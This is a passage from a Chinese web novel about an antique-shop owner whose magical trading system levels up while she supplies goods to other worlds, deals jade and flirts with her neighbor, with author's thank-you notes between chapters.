前几年翡翠行情跌过一阵子，持续了一两年，之后疯狂飙升，一直到如今，还在攀升。 他对翡翠的了解不多，但也看得出来这个价格，放在行情持续走高的今天属实不能算贵。 “那可不巧，我这次准备的预算要花在拍卖上，这样，我们加个联系方式，等拍卖结束咱们再聊。” 萧妧妧见他心动，心底跟着得意，掏出手机加好友。 看到“宁静致远”四个字，萧妧妧莫名轻笑一声。 周逸离开前站在院子里，多瞧一眼古董铺招牌，不禁觉得好笑。 萧妧妧不解：“您笑什么，我的招牌有问题？” 周逸摇摇头：“没问题，是我今天找过来的时候走错路，走进另一家不破斋，看到里头专卖翡翠才发现不对，现在想想觉得挺有意思的。” 萧妧妧愣住，茫然眨眼：“什么意思，月牙巷还有一家不破斋？” 周逸：“不是不破斋，人家叫不石皮斋。” 不石皮……不破……萧妧妧反应过来怎么回事的时候，周逸已经离开。 她掏出手机查导航，并没有这么一家店。 不能吧，不破斋有盗版了？ 还是纯粹的巧合？ 萧妧妧放不下心，给周逸发去消息询问不石皮斋的位置。 周逸：那我可记不住，月牙巷弯弯绕绕，我到现在只记住了随园怎么走。 萧妧妧看到回复再次失望，想了想应该不算什么大事。 店名相似又如何，重要的是商品。 萧妧妧对自己选出来的翡翠、古董相当有自信，模仿得了招牌，模仿不了高品质翡翠古董。 如果那个什么不石皮斋当真有本事，做得比她好，那就是不破斋蹭它的热度，不亏。 萧妧妧暂且把事情抛到脑后，琢磨起下一家拍卖行的预展。 去预展上走一圈才发现，大家做功课比她细致多了。 她随意瞄两眼，任谁的图录都比她的图录笔记丰富。 差距大的像学霸与学渣的作业本。 萧妧妧刚把佳博的预展逛完，有过一次完整看展经历，到底能说一句有经验了。 凭借这一点微不足道的经验，萧妧妧重新调整方式方法，以应对其他行的秋拍。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“哦了瓦特了”,灌溉营养液 +20 感谢读者“ninomi”,灌溉营养液 +5 感谢读者“熙妍”,灌溉营养液 +3 186 第186章 ◎经营日志◎ 9月6日,周五，晴 看图录，接货，累得瘫倒。 也没有完全瘫,顺便帮娇娇姐药品分类贴标签。 9月7日,周六,多云 看图录,接货，翡翠上架。 大王和他主人又来找我玩了。 拐弯抹角打听了一下,黎行聿竟然不认识他妈妈带来的亲戚。 好像有瓜。 着重提一句，竟然有翡翠博主做开箱测评。 幸好质量过硬,同等价位的翡翠挂坠，不破斋甩开其他翡翠品牌一大截,嘻嘻。 9月9日，周一,晴转多云 不嘻嘻,有网友蹲点守候翡翠上架,自己蹲就算了,还走漏消息！ 原定上新日没到,新品被抢购一半，这可怎么办。 接货，好多好多货，想死。 谁家老板当得有我惨。 再说一句,杨先生真大方，另外送了一百箱维生素,娇娇姐说很喜欢。 嗯,累点也值得。 9月11日,周三，多云 看图录，看吐了。 可怕，500平的地下室塞满中草药。 对了，佳懿轩拍卖捡漏失败，不高兴。 还有一件事，原来不止时尚界有买手，咱们古玩圈也有职业买手，真稀奇啊。 9月12日，周四，晴 得救了，彩宝玉石鉴定完毕送回来顶岗啦。 继续看图录，没几件值得捡的。 咱也是要当知名藏家的，得买精品。 不想接货啦！ 9月13日，周五，阴 好忙好忙，到今天才想起来送下一批翡翠去鉴定，不然就要开天窗了。 9月14日，周六，晴 原定的上新日，虽然没有多少翡翠，但是彩宝意外受欢迎。 好累，怎么还有这么多货要接。 9月15日，周日，阴 这一天值得书写，三喜临门！ ………… 先说第一件喜事。 萧妧妧在十几天前下单的那一批物资，陆陆续续送达，直到今天全部签收。 月牙湾66号别墅地下三层来回跑，所有物资全部清点完毕时，萧妧妧几乎累瘫。 没时间休息，她得绞尽脑汁把它们塞进空间。 忙忙碌碌到傍晚，苏娇娇那里正值深夜，月黑风高，正是转移物资的好时候。 念在是她最后一次大批量捐物资，苏娇娇安排了八艘货船。 八艘船，可以想象有多扎眼，苏娇娇不得不为此推迟去海城的计划，多在山里暂留了几天。 好在一切顺利，物资转移过去的瞬间，萧妧妧感觉空间至少空出来一半。 至于自家院子的库房，更是空出来大半。 苏娇娇这一批采购的物资数量着实惊人。 要说有多惊人，只看萧妧妧的系统便知道了。 原先差了一大截的进度条，这次交易后，光柱直冲顶端，就差一条线的数量，即可升级。 萧妧妧瞅一眼数据，差200件。 而当苏娇娇推来一藤箱的小金条（10克每条），数据再度变化，只差50件。 萧妧妧愿意把它当做第二喜。 说起第三喜，同样和苏娇娇有关。 “今晚收拾妥当，明天我就出发，先绕去隔壁的灵州视察工厂，后天一早的火车去海城。” “我想好了，到海城后别的不管，下午直奔古董行，再顺道打听打听拍卖行的消息。” “这次去海城少说停留半年，你有什么安排尽管说，保证帮你实现。” 萧妧妧闻言，惊叫出声。 “娇娇姐，我最爱你了！” 苏娇娇捂嘴笑。 高兴了一阵，萧妧妧打算“强买强卖”，把剩下50件也凑齐的时候，申明月找了过来。 她抖开蓑衣挂在院中，斗笠下的脸布满忧愁。 “这次有点糟糕，本该准备秋收，偏巧遇上连日暴雨，庄稼倒伏，今年的收成彻底没希望了。” 不止升州一处，临近几座城同样如此，不好好处理，恐怕迟早大乱。 别的地方她管不着，升州不能乱。 申明月有小卖部当靠山，自然不缺粮食，可怎么合理把粮食拿出手，分发到受灾百姓手里，并且不被人惦记，这需要动脑筋。 萧妧妧提议：“实在不行，你就收容流民，我记得你挺缺人的。” 申明月确实有这个打算，“我想好了，大不了带兵出去剿几个匪窝，到时候全赖在他们身上。” 劫匪济民，说出去好听也不会太惹眼。 萧妧妧转而道：“安排好了吗？要不要现在给你送点粮食过去？” 申明月摇摇头：“不急，我还没找到合适地方。” 萧妧妧失望的哦了一声。 三人凑合着吃了一顿晚饭，天要黑不黑的时候，快递找上门。 拆开包裹，萧妧妧挑了挑眉。 哦，现在是四喜了。 前些天送去南市土壤研究所的五份土壤检测完毕，农业专家给出了中肯的种植建议，甚至给出了土壤的优化改善方案，以及施肥相关建议。 申明月读着上面的小字，惊喜不已。 “天呐，好神奇啊，你们是怎么做到的？” “顺天时，量地利，则用力少而成功多”的道理古人大多明白，可判断土地与作物的适配性，对不同地块的探索规划，总归不是一件易事。 一年生植物勉强可以在短期内验证，多年生植物则耗费许多年观察。 申明月回想一下，从她派人去升州各处采集来土壤，到萧妧妧送去研究中心，前后不过花去7、8天时间。 萧妧妧只能笼统解释：“科学的力量。” 申明月指着上面的小字，问：“专家说适宜种红薯、土豆，它们是什么样的？我可以买种子回去吗？” 萧妧妧一看，列出的种植建议里，有不少对于申明月那个位面而言算新作物的物种。 反而是升州一直有许多人种植的高粱不在方案里。 “土豆啊，前些天咱们吃的薯条记得吗？那个就是土豆，还有炒土豆丝、土豆泥，你都吃过。” “红薯那就更多了，咱们吃火锅的时候有那种粉条，就是红薯做的。我们还会在秋冬天吃烤红薯，下次请你尝尝红薯藤，凉拌爆炒都可以。” “这两种作物不仅产量大，还可以当做主食，根茎叶子拿去当饲料，总之哪哪都是宝。” “一时半会说不清，好处可多了。” 萧妧妧找来平板，搜索科普视频为她讲解。 申明月来不及看完，忙不迭道：“妧妧姐，上面列出来的作物我全都要。” 萧妧妧自然是答应了，联系种子公司下单后，她索性搞了个一条龙服务。 每种作物的种植方法、对应的管理办法、成熟后的主要用途，以及烹饪技巧和菜谱等，一起整理出来。 每一项都值得写一个万字论文，整合到一起，工作量加倍。 萧妧妧没能整理出头绪，申明月想起这次过来目的，抽空询问：“妧妧姐，咱们的布料能做厚实的吗？这场雨过后肯定要降温，夏布该撤下了，不过继续买也没关系。” 萧妧妧一想也是，换季了，大家肯定优先买冬布。 她联系布料厂的经理，后面几批货做厚棉缎、厚麻布。 说到冬布，萧妧妧想起来另两样可以派上用场的东西。 “你那里的冬天冷不冷？我可以找点人造皮草或者棉花，买材料买成品都好说，看你怎么用。” 申明月见识过棉衣的妙处，本就打算入冬了买些放在店里卖，人造皮草却没听说过。 萧妧妧回客房，从衣柜里翻出一件某奢牌皮草大衣。 这件是孟甜甜零元购抢回来的，她没来得及带回家，正好拿来当样板。 “和你那里的皮子是一个意思，人造就是假的、仿的，为了降低成本，也为了环保。” 申明月不懂什么环保，只知道升州几座山绵延，山上兔子泛滥，并不缺兔毛制成的防寒衣物。 人造皮毛看着和动物皮毛差不多，但和她见过的好皮子又有很大不同。 “有多便宜？普通老百姓能穿吗？保暖效果好不好？” 萧妧妧点头：“能穿，效果只能说还不错。至于有多便宜，不好说，总之量很大。” 申明月喜欢它鲜亮缤纷的颜色，听到量很大，便道：“多来点，我要红色和白色两种。” 她眼珠子骨碌碌转，已经想好给申氏的部曲每人安排一件人造皮草斗篷。 升州的冬天不好过，听母亲说很漫长。 她补充道：“棉花也要的，不过得等一段日子，现在买了占地方。” 萧妧妧答应下来，商量好数量暂时先记在备忘录上。 她又问：“不如再给你点棉花种子？总在我这里买棉花不是事。” 申明月一想觉得有点道理，笑吟吟应声。 萧妧妧这时又道：“如果你那里很冷，其实多养点鸭子收集羽绒做衣服同样不错。当然，你要是人手不够，可以先在我这里买羽绒，不贵的。” 申明月咋舌：“妧妧姐，你们这里过冬竟然有这么多讲究？” 不像她那里，有钱人穿皮裘、厚棉缎，或者烧炭取暖，贫苦百姓御寒方式单一，厚麻布里塞芦花、稻草等，裹得臃肿不堪勉强暖和。 申明月稀奇极了，原来还有那么多东西可以保暖御寒。 萧妧妧干脆又找来一件羽绒服，让她带回去感受一下效果。 申明月一手皮草，一手羽绒服，笑得直咧嘴。 “那我再拿点伤寒药，家里几个丫鬟陪我到处跑，这几天淋了雨都病倒了，几日不见好，我担心她们出事。” 萧妧妧眼睛一亮：“西多芬还需要吗？” 申明月想起手下人回禀，似乎连过路商队都听说药效奇佳，打算买点带走来着，上次那一批药估计坚持不了多久。 “要！” 萧妧妧顿时笑眯眯，感冒药、退烧药、西多芬，加在一起远超50件。 申明月抱着大包小包离开，迈过结界的瞬间，光柱末端的一线灰消失。 唰一下，炫丽光效在眼前炸开，比升三级更加丰富的升级特效结束后，金色对话框跳了出来。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 187 第187章 ◎升级与新规则◎ 【叮！恭喜萧妧妧女士成功升级】 【愿您在后续的交易中,继续保持勇往直前的冲劲】 【此刻，丰厚的奖励已备好，愿它们成为您前行的得力助手】 关闭对话框，又跳出一个金色对话框,一排彩色图标,边框流动着金光,吸引她点进去探索。 萧妧妧确实好奇点进去看了一眼。 第一个图标她很眼熟,系统估价功能，戳开后如她所料,跳出升级说明。 【恭喜萧女士升至四级，您已经是一位成熟的交易家啦~ 为恭贺您踏入新阶段,估价功能（免费次数）大升级，每月可估价600次……】 后面一堆废话写了什么,萧妧妧没耐心看，确定估价次数翻倍后,心里踏实许多。 没办法,业务繁忙,大小拍卖会接踵而至,可怜巴巴的300次估价实在不够用。 萧妧妧吸取上月教训,本月一开始就做好了规划。 但是吧，规划是规划，现实是现实。 实际上，几次上新以及逛完佳博预展后,估价剩余次数只有不到90次。 而本月才度过一半，剩下半月她要奔赴三家拍卖行,心慌是难免的。 这次升级来的正是时候。 萧妧妧嘿嘿笑,戳开第二个图标。 依然是她使用次数最多的功能,系统仓库。 4级以后仓库直接变成豪华版，199格扩大至999格，每一格的上限不变，仍旧是999. 萧妧妧惊喜不已，她知道系统空间会迎来升级，想过是299、399，最多只敢想到599. 999×999，那就是998001，而她可以采用收纳筐、收纳箱等工具整理后再塞空*间，实际可容纳的物资远超计算出来的数据。 萧妧妧哪怕不规划、不整理，随便乱塞，也不会、或者说很难再出现上次物资爆仓的情况。 因为超乎预料，萧妧妧当即把它定为今天的第五喜。 她顾不上看后面的内容，先去小院库房转移物资，杂七杂八东西全部丢进去，总共也才消耗8格。 看着空荡荡的库房，再看稍显空荡的系统空间，萧妧妧笑出声。 乐了片刻，她点开下一个图标。 第三个图标有点陌生又有点眼熟，看到文字说明才想起来代表客户列表。 【恭喜萧女士升至四级，做为名合格的交易商，开拓客户是重中之重。 经总系统考核，萧妧妧女士荣获“一级商人”称号，可接待客户上限增加】 接待客户还有上限啊？ 萧妧妧傻眼，她不记得有这条规定。 戳开许久没用过的客户列表，亮起的客户名录一共有五人。 她记得升级前的样式，五条名录按先后顺序排列下来，除此之外没别的内容。 升级之后变化明显，亮起的名录下面又多了五条灰蒙蒙的名录，等待点亮。 而列表右下角多了一个角标，她好奇点开，又是一段文字解释。 【普通商人可接待客户六人，一级商人可接待客户十二人，二级商人可接待……】 她一直以为客户接待数量无上限，之前还过纳闷为什么没有新顾客找来，每天眼巴巴盼着。 原来如此啊。 萧妧妧扫到末尾，看来她之前一直是0级商人。 商人等级有大作用，每升一级可增加六个客户名额，上限在十级。 如果想突破十级上限继续增加名额，则需要通过提升店铺知名度扩大上限。 又出现陌生词汇了，知名度是什么？ 萧妧妧没找到知名度的解释，暂且跳过不提。 交易件数、不对，4级后换了一种说法，改成熟练度。 交易熟练度可以提高商人等级，等级越高，商人销售商品的限制随之减少，十级商人甚至可以售卖少数违.禁品。 而要升级为高级商人，难度并不低。 首先是熟练度，一级升二级需要消耗1000万熟练度。 其次是客户，是的，对店铺所绑定的客户优质程度也有考核，升二级需要达到50%的比例。 十二个客户里，至少一半可以被系统判定为优质。 萧妧妧默了默，多看一眼苛刻规则，觉得苟在一级其实挺不错的，没必要升了。 她又看一眼十级商人的权限，竟然可以打破“和平约定”售卖违.禁品。 这么看来，升级条件苛刻一点很合理。 真要随便什么人都能倒□□，那可太完蛋了。 总结下来，商人等级涉及商品销售限制以及客户数量。 如果放在游戏里，经验点（熟练度）除了花在正常系统升级以外，还得分出一部分用来升级商人等级，累计需要2000万熟练度。 一般遇到这种情况，萧妧妧会选择疯狂肝副本存经验点。 但…… 毕竟不是玩游戏，萧妧妧好不容易攒够熟练度，当然优先选择冲系统等级，先开启位面穿梭功能再说其他。 而且她也没那么想卖违.禁品。 至于客户数量，目前六个（划掉）十二个客户已经足够她忙的了。 弄清楚“一级商人”带来的作用，萧妧妧去看下一项。 只剩下最后一个图标，有点陌生，是个皇冠造型，她可以发誓以前没见过。 想到可能是新功能新用法，萧妧妧兴奋点进去。 【恭喜萧妧妧女士升至四级，店铺当前知名度为1（太好了，终于不是0了），请再接再厉】 前脚还在疑惑知名度的作用，下一刻系统就给出了方向。 萧妧妧在系统主界面找到名誉一栏，上面图标已然点亮，皇冠上顶了个1的数字。 点开图标，果然有注解。 知名度和熟练度挂钩，交易越多，熟练度越高，知名度便能上涨。 交易件数和熟练度的关系等待后续梳理，熟练度和知名度的关联倒是写得清清楚楚。 知名度突破0级后，每消耗五百万熟练度可升一级知名度。 知名度最低1，最高10，1-5之间没有任何特殊功能，仅用以区分店铺优劣。 横向比较的时候，知名度越高，分配到的客人越优质，否则相反。 萧妧妧替换一下，类似网店的什么钻石皇冠等级，等级越高信誉越高，越容易招揽优质顾客。 就和她的古董铺一样，名气越大，客人越多，一个道理。 所谓的优质客人，萧妧妧自己的理解就是VIP客户，财大气粗，买起东西刹不住的那种。 比如申明月、苏娇娇她们，萧妧妧能快速攒够交易件数全靠她们。 如果是柳如烟那种，买的不多，天天过来傻乐，猴年马月才能卖出百十万件货，自然而然，升级变得遥遥无期。 再说回知名度。 知名度达到6以后开启新阶段，比如会被总系统选择推送给更多高级位面（随机），推送频率与客户优质程度和知名度成正比。 同时，6级以后每提升一级知名度，客户上限比当前商人等级所限制的上限多5人。 不止客户上限提升，同时商户方也有权利设定客户门槛。 比如接待客户多与少、客户所在位面属性（末世、古代、现代）、客户性别等等。 并不是每一个店主都希望自家生意火爆，有的人追求质量，有的追求数量，有的只想和聊得来的人做生意。 咸鱼店主可以选择只招待一个客户，卷王店主也可以选择攒熟练度冲击最高客户上限。 萧妧妧愿意把这一条规则解读为“店大欺客”。 如果想当五边形商人，她要花1000万熟练度升级系统，花1000万升级商人等级，再花至少2500万熟练度升到6级…… 萧妧妧吞了吞口水，果断打消主意。 这么看来，她绝对算咸鱼店主，现在这个等级刚刚好。 消化了两条新规则，萧妧妧把注意力挪到熟练度上。 界面下方的交易件数改为熟练度，又变成灰色的进度条，孤零零显示10点熟练度。 萧妧妧回想片刻，勉强能对应上她和申明月交易的数量。 看起来是一件商品对应一点熟练度。 这个设定不能说完全公平，毕竟商品分便宜、昂贵、大小轻重等区别。 此前不管其他，只算件数，萧妧妧为此还查找过系统说明，并没有看到相关解释。 但现在不一样，交易件数改成熟练度的说法，萧妧妧很难不怀疑是计数方式做出改变。 否则何必多此一举？ 萧妧妧拿不出证据证明自己猜测，决定先试试看。 至于怎么试，她瞅准了爱丽丝。 爱丽丝刚好背着砍柴刀进来，手里抓了一把金币。 “姐姐，我要买好多好多小鸡，我们找到地方养它们了。” 萧妧妧按住爱丽丝坐下，接过金币放在一旁。 “小鸡仔容易死，我给你买老母鸡，能下蛋的那种。羊也来两只怎么样？有奶喝。 要不然饲料也准备点？” 爱丽丝缩了缩脖子：“不能只买小鸡吗？” 萧妧妧微笑。 爱丽丝泄气：“好叭好叭，我会学会养老母鸡和羊的。但是我钱不够。” 萧妧妧瞄一眼七八枚金币：“这些足够了。” 爱丽丝终于高兴起来，同样的金币，小鸡老鸡一起买到了。 爱丽丝准备回去继续开垦荒地，萧妧妧拽住她。 “你的金币给多了，带几个锄头回去吧，石灰最好也带一包，掺进土里杀菌。” 爱丽丝不懂土为什么需要消毒，但是姐姐硬塞给她，她老老实实接下。 萧妧妧揉揉小孩的后脑勺，拍拍她肩膀：“回去吧，晚点过来吃宵夜。” 爱丽丝重重点头，拖着大包小包离开。 萧妧妧等她穿过结界，马上转移视线去看进度条。 果然，她准备的锄头铁锹4把，石灰一大包，按照旧方式，无疑是5件，但熟练度显示却是16点，增加了6点。 也就是说，有一件商品占了2点熟练度。 萧妧妧能想到的只有那包30斤重的生石灰。 可是石灰并不贵，到底是根据什么判定熟练度多少的呢？ 活物与死物又有什么区别呢？ 萧妧妧没能找到答案，反正规则改了，对她来说是好事。 1000万熟练度比1000万件难度低些，后面再慢慢研究便是。 虽然她不认为自己能研究明白。 毕竟能弄清楚其中规律，必然会有人钻空子。 从系统密密麻麻的设定来看，想钻空子难度非常大。 四个主要功能了解清楚，萧妧妧顺带翻看升级后开放的其他琐碎功能，以防用到的时候抓瞎。 她找了半天，果真没见到她心心念念的位面穿梭功能，看来要六级、七级、甚至更高才能开放。 转念一想挺正常的，穿梭功能那么逆天，如果真的开放了，应该会是主功能之一，花大篇幅介绍。 而不是像一些有的没的藏在犄角旮旯等待她探索。 萧妧妧此刻又高兴又失落，眼见天色黑透，时间来到深夜，简单收拾完店铺赶回家休息。 刚到家门口，夜跑的黎行聿回来了。 【作者有话说】 好的，安排，这就放男主出来冒个头。 其实想多放一点的，写不完了，明天吧 感谢读者“momo”,灌溉营养液 +1 感谢读者“ninomi”,灌溉营养液 +5 感谢读者“婷婷”,灌溉营养液 +1 188 第188章 ◎“啊？绝育？”◎ 萧妧妧先偷偷瞄一眼他的胸肌,若无其事挪开目光，抬手打招呼。 黎行聿缓缓停下，神色如常地搭话。 “上次你说想看我家藏品，哪天有空？” 萧妧妧挠头,指着自己问：“我说的想看？” 黎行聿肯定点头：“爸妈趁这次回来打算顺便整理一下家中藏品,有些不合适的会送拍。我想,送拍之前或许你会想先看看。” 萧妧妧想了想,似乎有这么一回事，又好像没有。 不过她对黎家的藏品确实有点兴趣。 听孟有树说,有汝窑。 “那我可以看到汝窑吗？” 黎行聿：“汝窑、钧窑、龙泉窑、官窑，差不多都能看到。” 萧妧妧来劲了：“去去去,我要去。” 正好欠了他好大的人情，平时找不到恰当时机还礼,这次说不定有机会。 萧妧妧调出备忘录查看行程，嘀嘀咕咕：“后天有预展要看,晚上也有安排。之后几天约了客户……明天可以吗？” 说完,她想起来明天是工作日,急忙改口。 “忘了你要上班,或者下个周末？” 黎行聿拍板道：“明天可以,下午安排了绝育手术，结束后我来接你？” “啊？绝育？”你吗？ 萧妧妧愣了两秒，视线情不自禁下移，瞳孔紧缩。 这种隐私其实没必要告诉她的。 但是,绝育手术后可以立刻活蹦乱跳？真神奇啊。 萧妧妧觉得该说点什么，比如早日康复,或者手术顺利,碍于手术项目有点特别,反倒不知道怎么说，不由尴尬的沉默。 见她露出古怪、震惊又纠结的神色，眼珠子还时不时往下瞄，欲言又止，止又欲言。 黎行聿瞬间意识到她误会了什么，耳根通红，哭笑不得。 “不是我，是大王。” 话音落下的一刻，萧妧妧复杂神情凝滞，瞳孔颤动，随即恍然大悟。 哦，是大王啊。 下一秒，薄红迅速从脖颈蔓延到两颊，萧妧妧脚趾抠地。 她嘴硬耍赖：“当然是大王了，我可没说是你。” 黎行聿假装没听出她话音里的心虚，配合地改口：“抱歉，那是我误会了。” 黎行聿的好脾气害得萧妧妧愧疚不已，脸颊更红了一点，滚烫滚烫。 视线飘忽中，一不小心对上黎行聿带了笑意的眼，萧妧妧没憋住，“噗呲”一声笑出来。 虽然很对不起他，但是真的忍不住。 她笑得眉眼弯弯，灯笼朦胧的光照下，眼底晶晶亮。 被她的笑容感染，黎行聿不禁跟着笑起来。 片刻之后，萧妧妧终于良心发现，觉得自己有点过分，连忙收敛神色，转移话题。 “听说送狗子绝育要演一出戏，不然以后会记恨主人。演戏我很专业的，偷狗贼、狗贩子什么的，信手拈来。”她自信挺起胸膛。 黎行聿止住笑，回道：“放心，宠物医院有准备。” “那……明天见。” 萧妧妧哦了一声，约好见面时间，匆匆道一声晚安，缩着脖子溜回家。 院门合上，隔绝背后目光，轻舒一口气。 离谱，她怎么会以为是黎行聿去做绝育手术来着。 “一定是这几天太忙，脑子都生锈了。” 萧妧妧拍拍脑袋，找到合适理由为自己挽尊。 十点过十分，她匆忙洗漱，早早闭眼躺下。 日有所思夜有所梦，陷入沉睡后，萧妧妧梦见自己鬼祟戴上头巾遮住脸，诱骗黎行聿前往宠物医院绝育。 ……？ 就很离谱。 萧妧妧悠悠转醒时，一边觉得莫名，一边又控制不住的想笑。 她抓起手机扒拉一通，不经意停在黎行聿那一栏，笑意收敛。 这么好笑的事发给别人都差点意思，发给另一个当事人黎行聿才更好笑，偏偏她又不能发。 萧妧妧抓心挠肝，想到还要去他家参观藏品，只能遗憾放弃。 蛄蛹到天光大亮，萧妧妧挣扎着爬起，赶到小卖部开启新一天的营业。 下午有约，她把今天的安排全部提前，为此在小院里忙个不停。 忙到中午，养殖场如约来送货。 小鸡仔30只，老母鸡5只，能产奶的大白羊4只。 以及她另外准备的冷冻鸡肉两只，牛肉块五斤。 提醒爱丽丝来收货后，她迟了二十分钟左右赶来，裙摆沾满泥点，脸上灰呼呼。 萧妧妧催她去洗手，再教她如何使用洗衣机烘干机，重新穿上干净的棉麻裙子，萧妧妧才开始拉着她做测试。 爱丽丝迷迷糊糊，一肚子疑问，但出于对萧妧妧的信任，乖乖听安排。 她捧着一只小鸡仔回去，折返回来，又抱起一只老母鸡。 萧妧妧做好记录，爱丽丝再牵起和她一般高的羊回去。 然后是冷冻的食材、厨具、调味料，爱丽丝配合地跑了几趟来回。 “姐姐，没有东西啦。” 爱丽丝站在桌边，仰头等安排。 萧妧妧抱着手机敲敲打打，片刻后停下，扬起笑容，揉了揉爱丽丝圆滚滚的后脑勺。 “谢谢爱丽丝，我的实验结束了。”她问：“一起吃午饭吗？我去叫上甜甜一起。” 爱丽丝舔舔唇，嗯了一声，跑去厨房准备餐具。 萧妧妧则是琢磨起这组数据。 小鸡仔1只1点熟练度。 老母鸡1只3点熟练度。 大白羊1只2点熟练度。 至于其他东西，一件1点熟练度，没什么特别的。 萧妧妧又尝试拿爱丽丝的一枚金币交换了一条钻石手链，手链价值3万，然而熟练度和小鸡仔却差不多。 搞不懂。 萧妧妧琢磨了一会，脑仁突突的疼，索性不去深想。 以后交易机会多得是，再慢慢试，看看哪些东西熟练度高。 对了，实验对象可以换一换，万一同一件东西在不同位面的熟练度不一样，那可麻烦了。 萧妧妧记下这一点，转身叫孟甜甜起床吃午饭。 饭后，三人在廊下摇椅里昏昏欲睡，电风扇呼呼吹，蝉鸣鸟叫阵阵。 摇椅中间放着对半切的大西瓜和冰镇饮料，支起的平板自动播放书画鉴定要点。 慢吞吞的语速、轻缓的BGM，催得三人越发困顿，歪在躺椅里半睡不醒。 萧妧妧以为说闲不闲说忙不忙的一天就这么过去，南市博物馆的崔民以及田齐先后发来消息。 萧妧妧这时突然想起来，主题展似乎要开展了，她记得崔民提过，大概在九月中旬左右。 她先戳开了崔民的消息，读完一长串文字，果然是展览的事，三天后正式展出。 另一件事则是需要她配合宣传一下。 崔民不仅发来了示例文案，连着图片、视频一并准备好发送过来。 萧妧妧发现没自己什么事，爽快应下，编辑好内容尽快发布出去，再转发给崔民，获得一串感谢的表情包。 解决完这事，田齐的消息她大约有数了。 点开以后仔细一看，和她猜测的差不多，但进度出乎预料- 萧老板，头冠复刻品和冰箱贴寄了样品过去，今天应该能收到。正式开展后文创馆线上线下同时售卖，拜托萧老板帮忙推广一下。 萧妧妧挑眉，这效率可真够高的。 她查了下单号，显示派送中，给田齐回个表情包应下这事。 都是她应该做的，卖得越火爆她拿到手的分成越多。 萧妧妧想到这里，赶紧去冲了个澡，换上新衣服，化全套妆容。 正好晚上要出门，不算浪费。 爱丽丝没见过别人化妆，看她又是贴眼珠子，又是打脸，捧着脸在旁边看热闹。 萧妧妧挑出深色美瞳戴上，冲着爱丽丝眨眼：“好不好看？” 爱丽丝一眨不眨地盯着，还是想不通怎么有人能换眼珠子，一边惊奇，一边连连点头。 等萧妧妧开始贴假睫毛画眼线，爱丽丝差点看不过来，每一步都要询问为什么。 萧妧妧感觉自己像美妆博主，一边操作一边解释，然后再问好不好看。 爱丽丝捧场极了，怎么问都说好看、漂亮，配合她大大的翠绿眼睛，格外有说服力。 萧妧妧被她哄得心花怒放。 孟甜甜拿来快递的时候，萧妧妧刚好进行最后一步，盘发。 参考了几款适合戴头冠的发型，没能选出最适合的，孟甜甜拆了快递盒，捧出两顶头冠复刻品。 萧妧妧凑过去看，果然做到了1:1大小，连材质看起来都差不多，里面的砗磲则由贝壳替代，珍珠换成人工养殖的米珠。 她看到定价了，这一套莲花头冠复刻品，售价3888元。 冰箱贴巴掌大，同样的材质，售价128元，在文创冰箱贴的品类里无疑算贵的。 考虑到采用的珍珠均为人工养殖的真珍珠，而不是什么塑料珠，似乎也没那么难以接受。 别看只是冰箱贴，还附带了保养说明，至于头冠，养护要求更多了。 萧妧妧捧起莲花头冠看了又看，即便做到最大限度的复原，肉眼看相似度挺高，实际和原版质感差了一截。 3888元，还要什么自行车。 琢磨一下怎么戴，萧妧妧盘起头发，头冠卡在盘发上，发钗固定。 萧妧妧一个人操作不来，孟甜甜帮忙才勉强戴稳。 趁这会还牢固，天光正好，赶紧去院中拍素材。 头冠上头照拍了前后两个角度，其他全是头冠的细节照片。 换新设备以后到底比手机效果好，光看图片确实能勾起购买欲。 素材集齐，P图加滤镜顺便美颜，两人都满意了才发给田齐。 田齐看完素材发来大拇指，商量着尽快发布。 萧妧妧同意了，约好发布时间，立刻拆下头冠。 虽然它很精致漂亮，捧起来也轻飘飘，但是戴久了脖子顶不住啊。 萧妧妧用不上它，找来亚克力盒子罩住复刻版头冠，摆在古董铺显眼处，就当是打广告吧。 这一通折腾，时间不知不觉来到下午五点，橙紫色的晚霞布满天空。 萧妧妧一看这天色，猜测晚上会有一场大雨，于是往包里塞了一把伞。 刚提起包感受一下重量，手机叮铃铃响，下一刻，院门随之响起敲门声。 萧妧妧：“今晚我不回店里了，晚饭你们自己解决，下雨了记得帮我把史努比推进走廊里。” 她匆忙交待一句，最后检查一遍妆容，小跑着去开门。 孟甜甜和爱丽丝脑袋挨着脑袋，扒在门后偷看，小声蛐蛐。 “难怪今晚化了妆，果然不止是为了拍照片。” “他是谁啊？” “忘记叫什么了，应该在追妧妧吧，听说开公司的，我们叫他霸总哥。” “霸总哥在追姐姐？追是什么意思？” “追啊……算了，你是小孩子，用不着懂。” 爱丽丝眨巴翠绿眼睛，懵懵懂懂。 她歪了歪头，踮起脚好看得更清楚点。 两人在门口嘀嘀咕咕，霸总哥递去一个什么东西。 妧妧姐姐很喜欢的样子，看了又看，高高兴兴挂在包上。 爱丽丝恍然，原来这就是追啊。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“婷婷”,灌溉营养液 +1 189 第189章 ◎该死的有钱人◎ “我的天,它好丑。” 萧妧妧没想到黎行聿会送她丑娃娃，欢喜接过似狗非狗的一坨黑。 黎行聿观察她的表情，自动把这句话翻译成“它好可爱”。 “偶然看到的，有点像大王,我想,应该会是你喜欢的类型。” 他语气轻描淡写,一副随手买下、又随手带来给她的不经意姿态。 萧妧妧没能察觉他的注视,眼睛一错不错盯着丑玩玩，小鸡啄米似的点头。 “喜欢,特别喜欢，它完全丑在我的审美点啊,丑得可爱。” 揉搓丑娃娃片刻，她高高兴兴把它挂在包上。 乍一看,确实有点像大王。 左右端详丑娃娃两眼，萧妧妧忽然想起什么,翻了翻包。 “说起大王,它的手术还顺利吗？” 从包里找到深色绒布盒子,萧妧妧递给黎行聿,催促他打开：“上次看你戴袖扣,自作主张给你准备了一个礼物，不知道你会不会喜欢。” 萧妧妧话题跳跃太快，黎行聿没能接上她的脑回路，直到看清里面的东西。 巴掌大的盒子里躺着一对袖扣、一枚领带夹,他望向萧妧妧，脸上流露出诧异神色。 “很顺利,遵医嘱在家休养。”回答完她的问题,黎行聿忍俊不禁地说：“帝王绿……大王？” 一对帝王绿翡翠袖扣雕出两种不同搞怪表情的狗头,舌头一左一右吐出来，额头上刻着小小的“王”字，主石大小在12mm，厚度超6mm。 而那枚比常规款略宽一点的领带夹，主石厚度5mm，长度6cm，采用大王蹲坐的正面形象，额头同样有一个王字，不过表情稍显正经，看上去威风凛凛，十分有捷克狼犬的威武气势。 